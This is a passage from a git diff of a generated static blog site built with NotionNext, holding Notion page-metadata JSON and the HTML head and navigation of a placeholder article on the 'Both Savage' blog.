ble":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},"recommendPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""}]},"__N_SSG":true},"page":"/[prefix]/[slug]","query":{"prefix":"article","slug":"begin"},"buildId":"mm0_cWkCfdum_vxo9wL_b","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"dynamicIds":[10635],"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
diff --git a/article/example-10.html b/article/example-10.html
index 6375abd06..2df7a3a01 100644
--- a/article/example-10.html
+++ b/article/example-10.html
@@ -1,4 +1,4 @@
-<!DOCTYPE html><html lang="zh-CN"><head><title>空白文章10 标题注意不应该过长,否则影响显示效果,这是一个示范 | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Python,健康"/><meta name="description" content="仅供列表展示、文章无内容、文章描述摘要过长时会被截断,仅显示前面几行内容,根据主题决定。这是一个示范"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="空白文章10 标题注意不应该过长,否则影响显示效果,这是一个示范 | Both Savage"/><meta property="og:description" content="仅供列表展示、文章无内容、文章描述摘要过长时会被截断,仅显示前面几行内容,根据主题决定。这是一个示范"/><meta property="og:url" content="https://bothsavage.github.io//article/example-10"/><meta property="og:image" content="https://images.unsplash.com/photo-1524601500432-1e1a4c71d692?ixlib=rb-4.0.3&amp;q=50&amp;fm=webp&amp;crop=entropy&amp;cs=srgb&amp;t=95ddf5c1-569e-4c61-a1e8-6507fe59fc97&amp;width=800&amp;fmt=webp"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="Post"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="仅供列表展示、文章无内容、文章描述摘要过长时会被截断,仅显示前面几行内容,根据主题决定。这是一个示范"/><meta name="twitter:title" content="空白文章10 标题注意不应该过长,否则影响显示效果,这是一个示范 | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta property="article:published_time"/><meta property="article:author" content="Both Savage"/><meta property="article:section" content="未"/><meta property="article:publisher"/><meta name="next-head-count" content="22"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script defer="" src="/_next/static/chunks/3607272e.930e8446c6ba44e1.js" crossorigin=""></script><script defer="" src="/_next/static/chunks/85853.7b82235f14365c08.js" crossorigin=""></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/88495-859c98bd25cf70c4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/%5Bprefix%5D/%5Bslug%5D-5b13cd8bd4bab6aa.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div id="container"><h1 class="text-3xl pt-12  dark:text-gray-300">空白文章10 标题注意不应该过长,否则影响显示效果,这是一个示范</h1><section id="article-wrapper" class="px-1"><div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-95ddf5c1569e4c61a1e86507fe59fc97"><div class="notion-viewport"></div><div class="notion-collection-page-properties"><div class="notion-collection-row"><div class="notion-collection-row-body"><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 